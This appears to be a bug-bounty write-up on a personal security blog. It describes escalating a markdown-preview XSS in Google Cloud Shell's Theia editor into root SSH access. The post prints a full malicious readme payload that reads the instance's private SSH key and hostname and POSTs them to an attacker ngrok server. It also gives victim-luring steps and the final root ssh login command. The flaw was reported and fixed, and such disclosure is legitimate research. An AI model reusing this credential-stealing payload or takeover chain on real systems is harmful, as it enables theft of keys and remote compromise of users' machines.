

# @OMESPINO

just another security blog.

WRITTEN BY OMESSINO

OCTOBER 1, 2020

## WRITE UP – [GOOGLE VRP PRIZE UPDATE] GOOGLE BUG BOUNTY: XSS TO CLOUD SHELL INSTANCE TAKEOVER (RCE AS ROOT) – \$5,000 USD

[ Update: this writeup was modified to participate in [GCP VRP Prize 2020 Awards](#) ]



### Introduction:

Hi everyone It's been a while since my last post (1 year w00t!) but I'm back, I want to tell you a short story about one of my last bug bounties, and how I escalated a simple XSS to a full Google Cloud Shell instance take over as a full administrator (RCE as root)

*This blogpost appeared first in the book [Bug Bounty Write Ups Collection](#)*




What is Google Cloud Shell? extracted from [Google Cloud shell landing page](#):

*"Your online development and operations environment*

*Cloud Shell is an online development and operations environment accessible anywhere with your browser. You can manage your resources with its online terminal preloaded with utilities such as the `gcloud` command-line tool, `kubectl`, and more. You can also develop, build, debug, and deploy your cloud-native apps using the online Cloud Shell Editor."* which actually is an Eclipse Theia editor instance

So Google Cloud Shell basically is a Linux VM box with an online editor Eclipse Theia, so what is Eclipse Theia? extracted from [Theia landing page](#)

*"Eclipse Theia is an extensible platform to develop multi-language Cloud & Desktop IDEs with state-of-the-art web technologies. "*



So since Theia is Open Source, [Theia's GitHub repository](#) is a very good place to start investigating

Investigation:

So the plan was basically:

Look into [Theia's GitHub repository](#) issues and filter those with a security tag, then analyze all issues.

It was my lucky day, an XSS on markdown preview apparently reported by a Googler, and also a working POC, w00t?!

eclipse-theia / theia Watch 266

<> Code Issues 1.3k Pull requests 74 Discussions Actions Projects Wiki Secur

👉 Want to contribute to eclipse-theia/theia?

If you have a bug or an idea, read the [contributing guidelines](#) before opening an issue.  
If you're ready to tackle some open issues, [we've collected some good first issues for you](#).

Filters 🔍 is:issue label:security Labels 139

Clear current search query, filters, and sorts

7 Open 9 Closed Author Label Projects

🔔 Is Theia interested in expanding their ESLint config to include XSS sink scanning linting proposal security  
#8398 opened on Aug 17 by LukeWood

🔔 Theia should work on a FIPS-compliant system Team: Che-Editors security  
#8378 by azatsarynnyy was closed on Sep 14

🔔 bind DiskFileSystemProvider for file scheme in electron-renderer process electron filesystem performance security  
#8177 opened on Jul 15 by akosyakov

🔔 Has this vulnerability CVE-2019-17636 been resolved in 1.x release? question security  
#8020 by bobbyz007 was closed on Jun 15

🔔 [security] XSS vulnerability in markdown preview security  
#7954 opened on Jun 3 by caseyflynn-google

Fun fact: this was actually reported by a Googler Woot!!?

## [security] XSS vulnerability in markdown preview #7954

🔔 Open caseyflynn-google opened this issue on Jun 3 · 10 comments

caseyflynn-google commented on Jun 3 • edited Contributor

**Bug Description: XSS vulnerability in markdown preview**

The Markdown Preview can exploited to execute arbitrary code.

**Steps to Reproduce:**


1. Create markdown file and append the following text: `<style onload="alert(0)">`
2. Save and close the file.
3. Right click the file and select Open With -> Preview
4. Observe the alert has fired.

The root cause of the vulnerability is the current usage of `markdown-it` to `render html` then subsequently adding the output to the DOM via `innerHTML` without sanitizing. Moreover, there are several potential xss sinks within the Theia code base that could potentially be exploited in a similar fashion (e.g. `innerHTML`, `dangerouslySetInnerHTML`). Would the community be open to accepting contributions to mitigate these vulnerabilities, and accompanying lint rules that would bar future usages of xss sinks?

**Additional Information**

- Operating System: Linux
- Theia Version: 1.2.0

After that immediately I tested that POC on <https://shell.cloud.google.com/> and it worked like a charm!!




So, at this point, Google would reward the alert(0) box, they do not need you to explain to them why XSS is a big deal as other companies, right? Anyway I wanted to push myself to escalate this XSS to full instance take over, so was time to escalate this simple alert box.

#### Escalation:

So, my first thought was that if the XSS was able to run in the same context that all files, maybe I can run a simple GET to extract any "local" file, but it was not that easy, also that I noticed that the UI Theia editor part for the editor was running in some instance that is different for the actual "command line terminal" instance

So luckily the UI Theia instance has the private key in the root of the instance, and we just needed to navigate to a new workspace and set / (root) to see that key, anyway sadly there is no screenshot for that, but you have my word, once loaded the workspace "/" you can see that "id\_cloudshell" file



So in the end, after some playing with the "Download" files button and checking all the traffic in Chrome DevTools, the solution for reading those files via HTTP GET on javascript was using these 2 endpoints:

1.- First, 'https://' + location.host + '/files?uri='

This to get the id for any uri, per example /files?uri=file:///etc/hosts, responses something like {id: "5147084a-XXXX-43a9-afb0-bb8a126f1162"}

2.- And then use https://' + location.host + '/files/download?id=' with the id /files/download?id=5147084a-XXXX-43a9-afb0-bb8a126f1162 and getting the actual file content

Putting all together :

Google Cloud Shell has an option to import GitHub repositories into Google Cloud shell instances **with 1 click**, so the main idea was:

1.- Create a **malicious git repository** to store that malicious script in the read.md file

2.- We can also put the open in google cloud shell button in the same file md file

master

gcs\_instace\_takeover / readme.md



Omar Espino active ngrok for video poc

0 contributors

50 lines (41 sloc) | 1.95 KB

# Google VRP testing

Google cloudshell instance take over (as root)



OPEN IN GOOGLE CLOUD SHELL

3.- Then trick the user to import that git repository to his google cloud shell instance

4.- Once the read.md file renders we stole the /etc/hosts file to construct the public domain to access that cloudshell instance and also the private key `../id_cloudshell`

the hostname is "cs-6000-devshell-vm-XXXXXXXX-XXXX-XXXX-XXXX", we delete the cs-6000 part and append .cloudshell.dev, getting something like this devshell-vm-XXXXXXXX-XXXX-XXXX-XXXX.cloudshell.dev that is public accessible for anyone

5.- Since we know that the root user is always present user in Linux we can use that to login in via ssh

6.- with devshell-vm-XXXXXXXX-XXXX-XXXX-XXXX.cloudshell.dev (public domain) we can actually get the IP from devshell-vm-XXXXXXXX-XXXX-XXXX-XXXX.cloudshell.dev making a ping and then do some port scanning, (after that we discovered that the ssh service was running on 6000 port )

7.- Profit, knowing the public domain hostname, the ssh port, the user root, and the private key we just needed to login in and run any command that we want  
'ssh -i id\_cloudshell -p 6000 root@devshell-vm-XXXXXXXX-XXXX-XXXX-XXXX.cloudshell.dev'

Final read.me file code

```

# Google VRP testing
Google cloudshell instance take over (as root)

[[Open in Cloud Shell]](https://gstatic.com/cloudssh/images/open-btn.svg)](https://ssh.cloud.google.com/cloudshell/
editor?page=editor&cloudshell_git_repo=https:%2F%2Fgithub.com%2Fomespino%2Fgcs_instace_takeover.git&cloudshell_open_in_editor=readme.md)

## Getting Started
just need to preview this file to see the magic

<style onload="{

  var file_results = []
  // this scape the container and get the ssh id_cloudshell private key
  read_file('file:///../id_cloudshell')
  // getting the hostname (external connection)
  read_file('file:///etc/hostname')

  setTimeout(function(){
    send_files(file_results)
  },5000)

  // function to read any file given the path with file protocol per example 'file:///etc/hostname'
  function read_file(file_to_read){
    var container_url = 'https://' + location.host + '/files/?uri='
    var get_file_id_url = container_url + file_to_read
    console.log(get_file_id_url)
    fetch(get_file_id_url) // convert response to json
      .then(response => { return response.json() } )
      .then(json => {
        var container_download_url = 'https://' + location.host + '/files/download/?id='
        var download_url = container_download_url + json.id
        fetch(download_url)
          .then(response => { return response.text() } )
          .then(text => {
            console.log(file_to_read + ' ' + text)
            file_results.push(file_to_read + ' ' + text)
          })
      })
  }

  function send_files(result){
    // need to set netcat to listen per example nc -lvvv 55555
    let attacker_server = ' https://56051573.ngrok.io'
    fetch(attacker_server, {
      method: 'post',
      body: JSON.stringify(result)
    })
  }
}"}>

```

```

# Google VRP testing
Google cloudshell instance take over (as root)

[[Open in Cloud Shell]](https://gstatic.com/cloudssh/images/open-btn.svg)](https://ssh.cloud.google.com/cloudshell/editor?
page=editor&cloudshell_git_repo=https:%2F%2Fgithub.com%2Fomespino%2Fgcs_instace_takeover.git&cloudshell_open_in_editor=readme.md)

## Getting Started
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  // getting the hostname (external connection)
  read_file('file:///etc/hostname')
  setTimeout(function(){ send_files(file_results) },5000)
  // function to read any file given the path with
  // file protocol per example 'file:///etc/hostname'
  function read_file(file_to_read){
    var container_url = 'https://' + location.host + '/files/?uri='
    var get_file_id_url = container_url + file_to_read
    console.log(get_file_id_url)
    fetch(get_file_id_url) // convert response to json
      .then(response => {
        return response.json()
      })
      .then(json => {
        var container_download_url =
          'https://' + location.host + '/files/download/?id='
        var download_url =
          container_download_url + json.id
        fetch(download_url)
          .then(response => { return response.text() } )
          .then(text => {
            console.log(file_to_read + ' ' + text)
            file_results.push(file_to_read + ' ' + text)
          })
      })
  }

  function send_files(result){
    // need to set netcat to listen per example nc -lvvv 55555
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    fetch(attacker_server, {
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  }
}"}>

```

Extracted from Google VRP's report: (the actual Google VRP report)

Summary: Google cloud shell instance take over (as root)

Steps to reproduce:

1.- Setup an SSL server that you own in any port, I will use ngrok + nc combo over port 55555

2.- Visit [https://github.com/omespino/gcs\\_instace\\_takeover](https://github.com/omespino/gcs_instace_takeover) and click open in Google Cloud Shell

3.- Wait to Load everything and then click the preview button for the .md files (you need to set up the attacker server that you own before de preview)

4.- Receive 2 google vm's files: '/etc/hosts' and the private key './id\_cloudshell' (scape the container with './' )

4.1: for the private key you need to replace \n for jump lines and save it as 'id\_cloudshell'

4.2: the hostname is "cs-6000-devshell-vm-XXXXXXXX-XXXX-XXXX-XXXX", we delete the cs-6000 part and append .cloudshell.dev, getting something like this devshell-vm-XXXXXXXX-XXXX-XXXX-XXXX.cloudshell.dev

5.- Login as root on ssh over port 6000

```
'ssh -i id_cloudshell -p 6000 root@devshell-vm-XXXXXXXX-XXXX-XXXX-XXXX.cloudshell.dev'
```

6.- w00t!!! now you are r00t! on that google cloudshell instance

## google cloud shell instance take over as root



Feb 6, 2020: Sent the report to Google VRP

Feb 6, 2020: Got a message from google that the bug was triaged

Feb 14, 2020: Nice Catch! Bug Accepted (P2)

Feb 20, 2020: \$5,000 bounty awarded

Mar 18, 2020: Fixed by Google

Well that's it, share your thoughts, what do you think about how they handle that security issue? If you have any doubt, comments or suggestions just drop me a line here or on Twitter [@omespino](#), read you later.

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